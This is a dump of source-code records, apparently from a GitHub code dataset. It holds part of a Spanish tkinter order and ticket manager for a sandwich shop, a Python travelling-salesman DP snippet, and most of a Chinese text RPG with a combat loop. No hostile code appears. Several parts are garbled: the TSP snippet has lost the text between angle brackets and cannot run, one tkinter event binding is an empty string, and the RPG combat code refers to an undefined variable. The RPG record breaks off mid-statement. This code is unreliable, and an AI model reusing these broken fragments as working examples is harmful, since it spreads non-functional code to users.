tk.Frame(canvas, bg=\"#e87e72\")\r\n canvas.create_window((0, 0), window=productos_frame, anchor=\"nw\")\r\n\r\n \"\"\"for row in range(40):\r\n for column in range(4):\r\n crear_celda(productos_frame, row, column, all_columns=4 , color=\"#e87e72\", padx=(10,10), pady=(20,10), sticky=\"ns\", op=1)\r\n ventana.rowconfigure(row, weight=1) # Expande la fila \r\n ventana.columnconfigure(column, weight=1) # Expande la columna\"\"\"\r\n\r\n productos_title = tk.Label(productos_frame, text=\"Productos\", font=(\"Gill Sans MT\", 20), bg=blanco)\r\n productos_title.grid(row=0,column=1, sticky=\"w\", padx=(20,0), pady=10)\r\n\r\n preciox1_title = tk.Label(productos_frame, text=\"x1\", font=(\"Gill Sans MT\", 20), bg=blanco)\r\n preciox1_title.grid(row=0,column=2, padx=(20,0), pady=10)\r\n \r\n preciox2_title = tk.Label(productos_frame, text=\"x2\", font=(\"Gill Sans MT\", 20), bg=blanco)\r\n preciox2_title.grid(row=0,column=3, padx=50, pady=10)\r\n\r\n\r\n # Configurar el evento de desplazamiento\r\n def on_canvas_configure(event):\r\n canvas.configure(scrollregion=canvas.bbox(\"all\"))\r\n\r\n canvas.bind(\"\", on_canvas_configure)\r\n\r\n productos = cargar_productos()\r\n\r\n # Insertar productos en el frame\r\n for i, producto in enumerate(productos):\r\n nombre = producto[0] # Nombre del producto\r\n precio_x1 = producto[1] # Precio x1\r\n precio_x2 = producto[2] # Precio x2\r\n\r\n nombre_label = tk.Label(productos_frame, text=nombre, bg=\"#e87e72\", font=(\"Gill Sans MT\", 16))\r\n nombre_label.grid(row=i+1, column=1, sticky=\"w\", padx=(20,0), pady=(0,10))\r\n \r\n precio_x1_label = tk.Label(productos_frame, text=f\"${precio_x1}\", bg=\"#e87e72\", font=(\"Gill Sans MT\", 16))\r\n precio_x1_label.grid(row=i+1, column=2, sticky=\"w\", padx=(20,0), pady=(0,10))\r\n\r\n precio_x2_label = tk.Label(productos_frame, text=f\"${precio_x2}\", bg=\"#e87e72\", font=(\"Gill Sans MT\", 16))\r\n precio_x2_label.grid(row=i+1, column=3, sticky=\"w\", padx=50, pady=(0,10))\r\n\r\n if precio_x2 == \"\":\r\n precio_x2_label.config(text=\"\") \r\n \r\n agregar_button = tk.Button(productos_frame, text=\"+\", font=(\"Gill Sans MT\", 12, \"bold\"), relief=\"flat\", cursor=\"hand2\", command=lambda nombre=nombre: [agregar_producto(nombre), calcular_precio_total()])\r\n agregar_button.grid(row=i+1, column=0, sticky=\"e\", padx=(30,0), pady=(0,10))\r\n \r\n # Actualiza el tamaño del canvas después de agregar elementos al frame\r\n productos_frame.update_idletasks()\r\n\r\n # Ajusta el tamaño del canvas al tamaño del frame\r\n canvas.config(scrollregion=canvas.bbox(\"all\"))\r\n\r\n # Crear un frame para mostrar el total\r\n total_frame = tk.Frame(ventana, bg=\"lightblue\")\r\n total_frame.grid(column=1, row=9, sticky=\"nsew\", pady=(0,20), columnspan=2, padx=30) # Espacio debajo del frame del formulario\r\n\r\n total_frame.rowconfigure(0, weight=1) # Expande la fila \r\n total_frame.columnconfigure(0, weight=1) # Expande la columna\r\n\r\n # Etiqueta para mostrar el total\r\n total_label = tk.Label(total_frame, text=\"Total: $0.00\", font=(\"Gill Sans MT\", 30))\r\n total_label.grid(row=0,column=0)\r\n\r\n # Obtén la lista de productos con sus precios desde la función cargar_productos\r\n productos_con_precios = cargar_productos()\r\n\r\n # Crea un diccionario que asocie los nombres de los productos con sus precios\r\n productos_precios = {nombre: (precio_x1, precio_x2) for nombre, precio_x1, precio_x2 in productos_con_precios}\r\n\r\n lista_precios = []\r\n\r\n # Función para calcular el precio total\r\n def calcular_precio_total():\r\n precio_total = 0.0 # Inicializa como float\r\n lista_precios.clear() # Limpia la lista de precios\r\n for producto in productos_seleccionados_listbox.get(0, tk.END):\r\n nombre_producto = producto.split(\" x\")[0] # Elimina \" x2\" si está presente\r\n precio_x1, precio_x2 = productos_precios.get(nombre_producto, (0.0, 0.0)) # Inicializa como float\r\n cantidad = int(producto.split(\" x\")[1]) if \" x\" in producto else 1\r\n \r\n # Acumula el precio en cada iteración teniendo en cuenta la cantidad y si tiene precio x2\r\n if cantidad == 2 and precio_x2:\r\n precio_total += float(precio_x2)\r\n lista_precios.append(float(precio_x2)) # Agrega el precio a la lista\r\n else:\r\n precio_total += float(precio_x1)\r\n lista_precios.append(float(precio_x1))\r\n\r\n # Actualiza la etiqueta total_label con el precio total\r\n total_label.config(text=f\"Total: ${precio_total:.2f}\")\r\n return precio_total, lista_precios\r\n \r\n def obtener_opcion():\r\n # Obtén las selecciones de modo de consumo y modo de entrega\r\n modo_consumo = modo_consumo_combo.get()\r\n modo_entrega = modo_entrega_combo.get()\r\n\r\n # Establece la variable opcion según las condiciones\r\n if modo_consumo == \"Mesa\":\r\n opcion = 0\r\n elif modo_entrega == \"Retira en local\":\r\n opcion = 1\r\n elif modo_entrega == \"Delivery\":\r\n opcion = 2\r\n else:\r\n opcion = 3 # Establece una opción predeterminada en caso de que ninguna de las condiciones coincida\r\n\r\n return opcion\r\n \r\n def generar_pedido(form, op):\r\n # Obtener los valores de los campos\r\n tipo_entrada = tipo_entrada_combo.get()\r\n modo_consumo = modo_consumo_combo.get()\r\n modo_entrega = modo_entrega_combo.get()\r\n nombre_cliente = nombre_cliente_entry.get()\r\n telefono = telefono_entry.get()\r\n direccion = direccion_entry.get()\r\n descripcion = descripcion_text.get(\"1.0\", \"end-1c\") # Obtiene el contenido del campo de descripción\r\n medio_pago = medio_pago_combo.get()\r\n\r\n if op == 0:\r\n modo_entrega = \"Consume en local\"\r\n nombre_cliente = \"N/A\"\r\n telefono = \"N/A\"\r\n direccion = \"N/A\"\r\n\r\n # Verificar que los campos no estén vacíos\r\n if (\r\n not tipo_entrada\r\n or not modo_consumo\r\n or not medio_pago\r\n or productos_seleccionados_listbox.size() == 0\r\n or not modo_entrega\r\n ):\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para imprimir el pedido.\")\r\n return\r\n \r\n elif op == 1:\r\n telefono = \"N/A\"\r\n direccion = \"N/A\"\r\n # Verificar que los campos no estén vacíos\r\n if (\r\n not tipo_entrada\r\n or not modo_consumo\r\n or not modo_entrega\r\n or not nombre_cliente\r\n or productos_seleccionados_listbox.size() == 0\r\n or not medio_pago\r\n ):\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para imprimir el pedido.\")\r\n return\r\n elif op == 2:\r\n # Verificar que los campos no estén vacíos\r\n if (\r\n not tipo_entrada\r\n or not modo_consumo\r\n or not modo_entrega\r\n or not nombre_cliente\r\n or not telefono\r\n or not direccion\r\n or productos_seleccionados_listbox.size() == 0\r\n or not medio_pago\r\n ):\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para imprimir el pedido.\")\r\n return\r\n else:\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para imprimir el pedido.\")\r\n return\r\n\r\n if not descripcion:\r\n descripcion=\"N/A\"\r\n\r\n ticket = tk.Toplevel(form)\r\n ticket.title(\"Ticket de Pedido\")\r\n \r\n # Cambia el tamaño de la ventana antes de agregar elementos\r\n ticket.geometry(\"500x800\") # Ajusta las dimensiones según tus necesidades\r\n\r\n # Crea un Canvas que servirá como contenedor\r\n canvas = tk.Canvas(ticket)\r\n canvas.pack(side=\"left\", fill=\"both\", expand=True)\r\n\r\n # Agrega una barra de desplazamiento vertical\r\n scrollbar = tk.Scrollbar(ticket, command=canvas.yview)\r\n scrollbar.pack(side=\"right\", fill=\"y\")\r\n\r\n # Configura el Canvas para utilizar la barra de desplazamiento\r\n canvas.configure(yscrollcommand=scrollbar.set)\r\n\r\n # Crea un Frame que será contenido dentro del Canvas\r\n ticket_frame = tk.Frame(canvas)\r\n canvas.create_window((0, 0), window=ticket_frame, anchor=\"nw\")\r\n\r\n # Agregar los datos del pedido al ticket\r\n tk.Label(ticket_frame, text=\"Ticket de Pedido\", font=(\"Gill Sans MT\", 18)).grid(row=0, column=0, columnspan=2)\r\n\r\n tk.Label(ticket_frame, text=f\"Tipo de entrada:\", font=(\"Gill Sans MT\", 14)).grid(row=1, column=0, sticky=\"w\", pady=(0,20))\r\n tk.Label(ticket_frame, text=tipo_entrada, font=(\"Gill Sans MT\", 14)).grid(row=1, column=1, sticky=\"w\", pady=(0,20))\r\n\r\n tk.Label(ticket_frame, text=f\"Modo de consumo:\", font=(\"Gill Sans MT\", 14)).grid(row=2, column=0, sticky=\"w\", pady=(0,20))\r\n tk.Label(ticket_frame, text=modo_consumo, font=(\"Gill Sans MT\", 14)).grid(row=2, column=1, sticky=\"w\", pady=(0,20))\r\n\r\n tk.Label(ticket_frame, text=f\"Modo de entrega:\", font=(\"Gill Sans MT\", 14)).grid(row=3, column=0, sticky=\"w\", pady=(0,20))\r\n tk.Label(ticket_frame, text=modo_entrega, font=(\"Gill Sans MT\", 14)).grid(row=3, column=1, sticky=\"w\", pady=(0,20))\r\n\r\n tk.Label(ticket_frame, text=f\"Nombre del cliente:\", font=(\"Gill Sans MT\", 14)).grid(row=4, column=0, sticky=\"w\", pady=(0,20))\r\n tk.Label(ticket_frame, text=nombre_cliente, font=(\"Gill Sans MT\", 14)).grid(row=4, column=1, sticky=\"w\", pady=(0,20))\r\n\r\n if telefono:\r\n tk.Label(ticket_frame, text=f\"Teléfono:\", font=(\"Gill Sans MT\", 14)).grid(row=5, column=0, sticky=\"w\", pady=(0,20))\r\n tk.Label(ticket_frame, text=telefono, font=(\"Gill Sans MT\", 14)).grid(row=5, column=1, sticky=\"w\", pady=(0,20))\r\n\r\n if direccion:\r\n tk.Label(ticket_frame, text=f\"Dirección:\", font=(\"Gill Sans MT\", 14)).grid(row=6, column=0, sticky=\"w\", pady=(0,20))\r\n tk.Label(ticket_frame, text=direccion, font=(\"Gill Sans MT\", 14)).grid(row=6, column=1, sticky=\"w\", pady=(0,20))\r\n \r\n tk.Label(ticket_frame, text=f\"Descripción:\", font=(\"Gill Sans MT\", 14)).grid(row=7, column=0, sticky=\"w\", pady=(20,0))\r\n tk.Label(ticket_frame, text=descripcion, font=(\"Gill Sans MT\", 14)).grid(row=7, column=1, sticky=\"w\", pady=(20,0))\r\n\r\n tk.Label(ticket_frame, text=f\"Medio de pago:\", font=(\"Gill Sans MT\", 14)).grid(row=8, column=0, sticky=\"w\", pady=(20,20))\r\n tk.Label(ticket_frame, text=medio_pago, font=(\"Gill Sans MT\", 14)).grid(row=8, column=1, sticky=\"w\", pady=(20,20))\r\n\r\n precio_total,lista_precios = calcular_precio_total()\r\n tk.Label(ticket_frame, text=\"Productos:\", font=(\"Gill Sans MT\", 14)).grid(row=9, column=0, sticky=\"w\", pady=(0,20))\r\n\r\n row_num = 10\r\n for producto, precio in zip(productos_seleccionados, lista_precios):\r\n tk.Label(ticket_frame, text=producto, font=(\"Gill Sans MT\", 14)).grid(row=row_num, column=0, sticky=\"w\")\r\n tk.Label(ticket_frame, text=f\"${precio:.2f}\", font=(\"Gill Sans MT\", 14)).grid(row=row_num, column=1, sticky=\"w\", padx=(20,0))\r\n row_num += 1\r\n\r\n ancho_ticket = ticket.winfo_width()\r\n linea = \"-\" * 60\r\n\r\n tk.Label(ticket_frame, text=linea, font=(\"Gill Sans MT\", 14)).grid(row=row_num, column=0, columnspan=2)\r\n\r\n tk.Label(ticket_frame, text=\"Total:\", font=(\"Gill Sans MT\", 14)).grid(row=row_num+1, column=0, sticky=\"w\")\r\n\r\n tk.Label(ticket_frame, text=f\"${precio_total}\", font=(\"Gill Sans MT\", 14)).grid(row=row_num+1, column=1, sticky=\"w\", padx=(20,0))\r\n\r\n # Agregar un botón para cerrar el ticket\r\n cerrar_button = tk.Button(ticket_frame, font=(\"Gill Sans MT\", 12), cursor=\"hand2\", text=\"Cerrar\", command=ticket.destroy)\r\n cerrar_button.grid(row=row_num + 2, column=0, columnspan=2, pady=(0,20))\r\n\r\n # Ajusta el tamaño del Canvas cuando el contenido cambia\r\n ticket_frame.update_idletasks()\r\n canvas.config(scrollregion=canvas.bbox(\"all\"))\r\n\r\n ticket_frame.grid_columnconfigure(0, weight=1)\r\n ticket_frame.grid_columnconfigure(1, weight=1)\r\n\r\ndef create_window(op=0):\r\n\r\n global pedidos, pedidos_pendientes\r\n \r\n principal = tk.Tk()\r\n principal.state('zoomed')\r\n principal.config(bg= blanco)\r\n screen_width = principal.winfo_screenwidth()\r\n bandeja_color = \"#a1c2f7\"\r\n # Convierte la imagen a un formato compatible con tkinter\r\n avatar = ImageTk.PhotoImage(image)\r\n\r\n for row in range(10):\r\n for column in range(6):\r\n crear_celda(principal, row, column, all_columns=6 , color=blanco, padx=(10,10), pady=(20,10), height=70)\r\n title_lab = tk.Label(principal, text=\"Lomitos X2\", font=(\"Gill Sans MT\", 32), bg=blanco)\r\n title_lab.grid(row=0,column=2,columnspan=2)\r\n title2_lab = tk.Label(principal, text=\"HADLER\\nSistema de gestión\", font=(\"Gill Sans MT\", 20), bg=blanco)\r\n title2_lab.grid(row=0,column=0,columnspan=2, sticky=\"n\", pady=(30,0))\r\n\r\n bandeja_frame = tk.Frame(principal, bg=bandeja_color, borderwidth=3, relief=\"solid\")\r\n bandeja_frame.grid(row=1, column=0, rowspan=7, columnspan=2, sticky=\"nsew\", padx=10, pady=(40,80))\r\n\r\n subrayado = ttk.Style()\r\n subrayado.configure('Subrayado.TLabel', font=(\"Gill Sans MT\", 20, 'underline'))\r\n\r\n botones_frame = tk.Frame(principal, bg=bandeja_color, borderwidth=3, relief=\"solid\")\r\n\r\n botones_frame.grid(row=1, column=2, columnspan=2, rowspan=4, padx=(40,0), pady=(40,0))\r\n\r\n regPedido_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Registrar pedido\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2, command=lambda:menu_pedido(principal))\r\n regPedido_button.grid(row=0,column=0,ipadx=10, padx=20, pady=20)\r\n\r\n regProducto_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Registrar producto\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n regProducto_button.grid(row=0,column=1,ipadx=2, padx=20, pady=20)\r\n\r\n regCompra_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Registrar compra\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n regCompra_button.grid(row=1,column=0,ipadx=5, padx=20, pady=20)\r\n\r\n regPagos_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Registrar pago\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n regPagos_button.grid(row=1,column=1,ipadx=27, padx=20, pady=20)\r\n \r\n actPrecio_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Actualizar precio\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n actPrecio_button.grid(row=2,column=0,ipadx=7, padx=20, pady=20)\r\n\r\n actStock_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Actualizar stock\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n actStock_button.grid(row=2,column=1,ipadx=19, padx=20, pady=20)\r\n\r\n verEstad_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Ver estadisticas\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n verEstad_button.grid(row=3,column=0,ipadx=17, padx=20, pady=20) \r\n\r\n verDatos_button = tk.Button(botones_frame, cursor=\"hand2\", text=\"Ver datos\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2)\r\n verDatos_button.grid(row=3,column=1,ipadx=54, padx=20, pady=20) \r\n\r\n # Crear un widget Label para mostrar la imagen\r\n label = tk.Label(principal, image=avatar, bg=\"#fcebeb\")\r\n label.grid(row=2, column=4, columnspan=2, rowspan=2)\r\n\r\n cUser_button = tk.Button(principal, cursor=\"hand2\", text=\"Cambiar usuario\",font=(\"Gill Sans MT\", 20), bg=amarillo, relief=\"solid\", borderwidth=2, command = lambda: crear_ventana_secundaria(principal))\r\n cUser_button.grid(row=5,column=4,ipadx=20, columnspan=2, pady=(40,10))\r\n\r\n userN_label = tk.Label(principal, text=f\"{nombre_usuario}\",font=(\"Gill Sans MT\", 14), bg=\"#fcebeb\")\r\n userN_label.grid(row=4,column=4,sticky=\"n\", columnspan=2, pady=(10,0))\r\n\r\n \r\n pedidos = cargar_pedidos()\r\n # Filtra los productos con entregado en 0\r\n pedidos_pendientes = [pedido for pedido in pedidos if pedido[4] == 0 and pedido[5] == 0]\r\n\r\n crear_pedido(principal, bandeja_frame, bandeja_color)\r\n\r\n principal.mainloop()\r\n\r\n\r\n\r\ndef crear_pedido(ventana, frame, color):\r\n global pedidos_pendientes\r\n\r\n def actualizar_tiempo(ventana, label, hora_registro):\r\n if label.winfo_exists() and ventana.winfo_exists(): # Verifica si el label y la ventana todavía existen\r\n hora_actual = datetime.now()\r\n \r\n # Calcula la diferencia de tiempo\r\n diferencia = hora_actual - hora_registro\r\n\r\n # Calcula horas, minutos y segundos\r\n segundos_totales = diferencia.total_seconds()\r\n horas, segundos_totales = divmod(segundos_totales, 3600)\r\n minutos, segundos = divmod(segundos_totales, 60)\r\n\r\n # Formatea los valores con dos dígitos\r\n horas_str = f'{int(horas):02}'\r\n minutos_str = f'{int(minutos):02}'\r\n segundos_str = f'{int(segundos):02}'\r\n\r\n # Construye la cadena de tiempo en el formato deseado\r\n tiempo_transcurrido = f\"{horas_str}:{minutos_str}:{segundos_str}\"\r\n\r\n # Luego, establece el texto en la etiqueta tiempo_label\r\n label.config(text=tiempo_transcurrido)\r\n\r\n # Programa la siguiente actualización después de 1000 ms (1 segundo)\r\n ventana.after(1000, lambda: actualizar_tiempo(ventana, label, hora_registro))\r\n\r\n pedido_font = (\"Gill Sans MT\", 10)\r\n eliminar_widgets(frame)\r\n bandeja_title = ttk.Label(frame, text=\"Bandeja de pendientes\", style='Subrayado.TLabel', background=color)\r\n bandeja_title.grid(row=0, column=0, columnspan=6)\r\n frame.columnconfigure(0, weight=1)\r\n row = 1\r\n for pedido in pedidos_pendientes:\r\n nuevo_pedido_frame = tk.Frame(frame, bg=color, padx=10, pady=5, borderwidth=2, relief=\"solid\")\r\n nuevo_pedido_frame.grid(row=row, column=0, columnspan=6, padx=(5, 5), pady=(5, 5))\r\n\r\n pedido_label = tk.Label(nuevo_pedido_frame, text=f\"Pedido # {pedido[0]}\", cursor=\"hand2\", background=color, font=(\"Gill Sans MT\", 10, \"bold\"))\r\n tiempo_label = tk.Label(nuevo_pedido_frame, text=\"00:00\", background=color, font=(\"Gill Sans MT\", 10, \"bold\"))\r\n entregar_button = tk.Button(nuevo_pedido_frame, text=\"ENTREGAR\", cursor=\"hand2\", relief=\"flat\", font=pedido_font, command=lambda id_pedido=pedido[0]: [entregar_pedido(id_pedido), crear_pedido(ventana, frame, color)])\r\n modificar_button = tk.Button(nuevo_pedido_frame, text=\"MODIFICAR\", cursor=\"hand2\", relief=\"flat\", font=pedido_font, command=lambda id_pedido=pedido[0]: (llenar_formulario(id_pedido), menu_pedido2(ventana, 1), cargar_productos_seleccionados(id_pedido)))\r\n\r\n cancelar_button = tk.Button(nuevo_pedido_frame, text=\"CANCELAR\", cursor=\"hand2\", relief=\"flat\", font=pedido_font, command=lambda id_pedido=pedido[0]: [cancelar_pedido(id_pedido), crear_pedido(ventana, frame, color)])\r\n imprimir_button = tk.Button(nuevo_pedido_frame, text=\"IMPRIMIR\", cursor=\"hand2\", relief=\"flat\", font=pedido_font)\r\n\r\n pedido_label.grid(row=row, column=0, padx=(0,10))\r\n tiempo_label.grid(row=row, column=1, padx=(0,10))\r\n entregar_button.grid(row=row, column=2, padx=(0,10))\r\n modificar_button.grid(row=row, column=3, padx=(0,10))\r\n cancelar_button.grid(row=row, column=4, padx=(0,10))\r\n imprimir_button.grid(row=row, column=5)\r\n row += 1\r\n\r\n # Inicializa la actualización de tiempo para esta etiqueta de tiempo\r\n actualizar_tiempo(ventana, tiempo_label, pedido[6]) # 6 es el índice de la columna de fecha de registro\r\n\r\n ","repo_name":"Herediaalejo/proyecto-ABM-Lomiteria","sub_path":"main/Funciones.py","file_name":"Funciones.py","file_ext":"py","file_size_in_byte":63249,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6697145608","text":"import sys\ninput = sys.stdin.readline\n\ndef find(now,before):\n if dp[now][before]:\n return dp[now][before]\n if before == (1<0:\n return dists[now][0]\n else:\n return float('inf')\n cost = float('inf')\n for i in range(1,N):\n if not (before>>i)%2 and dists[now][i]:\n tmp = find(i,before|(1<可以查看数据')\r\n\r\n\r\ndef weather(velocity_of_flow):\r\n global w_time\r\n rain = False\r\n windy = False\r\n while 1:\r\n time.sleep(int(velocity_of_flow))\r\n w_time = w_time + 1\r\n if w_time == 50:\r\n print('\\n \\033[1;33m红红的太阳慢慢地从山尖上冒了出来,不一会儿,朝霞就洒满了大地。 \\n \\033[0m>')\r\n elif w_time == 200:\r\n print('\\n \\033[1;33m金色的阳光透过罅隙,洒在小草上,一派生机盎然的景象。\\n \\033[0m>')\r\n elif w_time == 400:\r\n print('\\n \\033[1;33m烈日当头,阴影变成深蓝色,野草在酷热中昏睡,而飕飕寒气,却从浓林密叶下掠过。\\n \\033[0m>')\r\n elif w_time == 500:\r\n print('\\n \\033[1;31m日光正值韶华盛极,殊不知盛极反趋于衰朽,绚烂之极反归于涣灭。\\n \\033[0m>')\r\n elif w_time == 600:\r\n print('\\n \\033[1;31m天边的云朵被绚丽的霞光映照得更加耀目,倒映在清澈的江水里,微波荡漾,仿佛天在晃动。\\n \\033[0m>')\r\n elif w_time == 800:\r\n print('\\n \\033[1;35m黄昏已经谢去,夜幕早已铺开。\\n \\033[0m>')\r\n elif w_time == 1000:\r\n print('\\n \\033[1;35m天上缀满了闪闪发光的星星,像细碎的流沙铺成的银河斜躺在青色的天宇上。\\n \\033[0m>')\r\n elif w_time == 1200:\r\n print('\\n \\033[1;35m东方的天边亮起一抹金黄,漫天的繁星逐渐黯淡。\\n \\033[0m>')\r\n elif w_time >= 1251:\r\n w_time = 0\r\n weather_r = random.randint(0, 10000)\r\n if weather_r == 1272 or weather_r == 389:\r\n print('不知怎的,天上下起了稀稀拉拉的小雨,周围笼上了一层雾 \\n \\033[0m>')\r\n rain = True\r\n if rain:\r\n rain_s = random.randint(0, 5000)\r\n if 300 < rain_s <= 400:\r\n print('渐渐地,雨停了 \\n \\033[0m>')\r\n rain = False\r\n else:\r\n pass\r\n elif weather_r == 7428 or weather_r == 562:\r\n print('天上刮起了大风,树叶从枝头上掉落,沙沙作响\\n \\033[0m>')\r\n windy = True\r\n if windy:\r\n windy_s = random.randint(0, 5000)\r\n if 300 < windy_s <= 400:\r\n print('风逐渐变小了,一切归于宁静\\n \\033[0m>')\r\n windy = False\r\n else:\r\n pass\r\n\r\ndef Tutorial():\r\n print('\\033[1;33m1897——光绪二十三年')\r\n time.sleep(1)\r\n home_list = PrettyTable()\r\n home_list.field_names = ['序号','名称']\r\n home_list.add_row(['1', '达官贵族'])\r\n home_list.add_row(['2', '书香门第'])\r\n home_list.add_row(['3', '武术世家'])\r\n home_list.add_row(['4', '流浪街头'])\r\n home_list.add_row(['5', '佃农家庭'])\r\n print(home_list)\r\n home = input('\\033[0m 你出生在一个:(填序号)')\r\n\r\n\r\ndef pc(): # 个人界面\r\n global fun\r\n fun = random.randint(0, 100)\r\n global HP\r\n global HV\r\n global EXP\r\n global EXP_MAX\r\n global BAG\r\n global BAG_Used # 变量全局化\r\n global LV\r\n global AT\r\n global Buffer_LV\r\n global HP_MAX\r\n global HV_MAX\r\n global coin\r\n global realm\r\n global BAG_List_Buffer\r\n global realm_LV\r\n if LV != Buffer_LV:\r\n Buffer_LV = LV\r\n HP_MAX = int(HP_MAX * (1 + (int(LV) / 20)))\r\n HP = HP_MAX\r\n else:\r\n HP = HP\r\n print('\\033[1;33m【气血】' + str(HP) + '/' + str(HP_MAX))\r\n print('【护甲】' + str(DF))\r\n print('【功力】' + str(AT))\r\n print('【饥饿】' + str(HV) + '/' + str(HV_MAX))\r\n if BAG_List_Buffer != BAG_List:\r\n for BAG_Used_key in FDLB.keys():\r\n if BAG_Used_key in list(BAG_List.keys()):\r\n BAG_Used = BAG_Used + (FDLB[BAG_Used_key][2] * int(BAG_List[BAG_Used_key]))\r\n BAG_List_Buffer = BAG_List\r\n else:\r\n pass\r\n else:\r\n pass\r\n print('\\033[1;34m【背包】' + str(BAG_Used) + '/' + str(BAG) + 'kg')\r\n ET = ['【头部】' + str(head), '【躯体】' + str(body), '【腿部】' + str(leg), '【脚部】' + str(foot), '【手部】' + str(hand)] # 装备总览\r\n for i in range(0, 5):\r\n print(ET[i])\r\n while EXP >= EXP_MAX:\r\n if EXP >= EXP_MAX:\r\n LV = LV + 1\r\n realm_LV = realm_LV + 1\r\n EXP = EXP - EXP_MAX\r\n EXP_MAX = int(EXP_MAX * (1 + (0.2 * LV)))\r\n AT = int(1 + (LV / 5)) + int(ETLY[hand][0])\r\n print('\\033[1;33m【经验】' + str(EXP) + '/' + str(EXP_MAX))\r\n if 0 < LV <= 5:\r\n realm = '炼体'\r\n realm_LV = 1\r\n elif 5 < LV <= 15:\r\n realm = '锻神'\r\n realm_LV = 1\r\n elif 15 < LV <= 25:\r\n realm = '悟道'\r\n realm_LV = 1\r\n elif 25 < LV <= 35:\r\n realm = '结丹'\r\n realm_LV = 1\r\n print('【境界】' + str(realm) + str(realm_LV) + '段')\r\n print('\\033[1;36m【铜钱】' + str(coin))\r\n print('\\033[0mbag 可以打开背包')\r\n\r\n\r\nclass Fight:\r\n if_run = False\r\n\r\n def __init__(self, fight_place):\r\n self.place = fight_place\r\n\r\n def fight_output(self, ml, rm, me):\r\n global EXP, HV, HP, if_run\r\n self.ml = ml\r\n self.rm = rm\r\n self.me = me\r\n\r\n print('\\033[1;33m「' + str(self.ml) + '」\\033[0m' + MTLB[self.rm] + str(random.choice(ZYC)), flush=True) # 打印信息\r\n mh_max = int(self.ml) * 10\r\n mh = mh_max\r\n md = int(self.ml) * 0.25 # 怪物防御\r\n ma = int(self.ml) * 1.5 # 怪物攻击\r\n c_pa = 0 # 玩家总伤害\r\n while mh != 0 and HP != 0 and ml != 0:\r\n if if_run:\r\n if_run_possibility = random.randint(0, 100)\r\n if if_run_possibility <= 50:\r\n print('\\033[1;31m你狼狈地逃跑了\\033[0m')\r\n if_run = False\r\n break\r\n else:\r\n print('\\033[1;36m' + MTLB[self.rm] + '挡在了你面前,你跑不掉了\\033[0m')\r\n time.sleep(0.5)\r\n if_run = False\r\n time.sleep(random.uniform(0.8, 1.2)) # 攻击间隙\r\n pa = (AT * 2) * random.randint(1, 2) # 玩家伤害计算\r\n M_sp = random.randint(0, 100) # 怪物闪避\r\n if M_sp <= int(ml) * 0.5: # 闪避几率 = 等级 * 1.5\r\n print('\\033[1;33m' + MTLB[self.rm] + '惊险地躲过了这一击!\\033[0m')\r\n else:\r\n print(\r\n '\\033[0m 你用' + '\\033[1;32m' + hand + '\\033[0m' + str(random.choice(PATSE[ETLY[hand][1]])) + MTLB[\r\n self.rm] + str(\r\n random.choice(PATSE_1)) + ' 造成了' + str(\r\n (pa - md)) + '点伤害!') # 打印信息\r\n mh = mh - pa + md # 怪物扣血\r\n c_pa = c_pa + pa - md # 玩家总伤害计算\r\n if mh / mh_max >= 0.9:\r\n print('\\033[1;32m' + MTLB[self.rm] + '看起来气势汹汹,精神抖擞\\n \\n')\r\n elif 0.7 <= mh / mh_max < 0.9:\r\n print('\\033[1;33m' + MTLB[self.rm] + '看起来受了点轻伤,不过不成大碍\\n \\n')\r\n elif 0.5 <= mh / mh_max < 0.7:\r\n print('\\033[1;34m' + MTLB[self.rm] + '看起来气喘吁吁,大汗淋漓\\n \\n ')\r\n elif 0.2 <= mh / mh_max < 0.5:\r\n print('\\033[1;31m' + MTLB[self.rm] + '摇摇欲坠,就快要倒下了\\n \\n ')\r\n elif mh / mh_max < 0.2:\r\n print('\\033[1;35m' + MTLB[self.rm] + ' 的鲜血四溅,离死不远了\\n \\n ')\r\n time.sleep(random.uniform(1.0, 2.0)) # 攻击间隙\r\n sp = random.randint(0, 100) # 玩家闪避\r\n\r\n if sp <= int(LV) * 2: # 闪避几率 = 等级*2\r\n print('\\033[1;34m你灵巧地躲过了这一击!\\033[0m \\n \\n')\r\n elif mh <= 0:\r\n if mh <= 0:\r\n print('你胜利了! 获得了' + '\\033[1;34m ' + str(self.me) + ' \\033[0m' + '经验!')\r\n EXP = EXP + me # 加经验\r\n HV = HV - 3 # 扣饥饿\r\n print('现在经验为' + str(EXP))\r\n if MTLB[rm] == '野熊':\r\n menpai_can = True\r\n fun_1 = random.randint(0, 100)\r\n if BAG_Used < BAG:\r\n if fun_1 == fun:\r\n for dpn in range(0, len(MTDP[MTLB[self.rm]])):\r\n if str(MTDP[MTLB[self.rm]][dpn]) not in BAG_List:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = 1\r\n else:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = int(BAG_List[str(MTDP[MTLB[self.rm]][0])]) + 1\r\n print('你获得了' + str(MTDP[MTLB[self.rm]][dpn]))\r\n return 1\r\n elif abs(int(fun) - int(fun_1)) <= 10 and fun_1 != fun:\r\n dp = random.randint(0, 100)\r\n if dp <= 90:\r\n for dpn in range(0, len(MTDP[MTLB[self.rm]])):\r\n if str(MTDP[MTLB[self.rm]][dpn]) not in BAG_List:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = 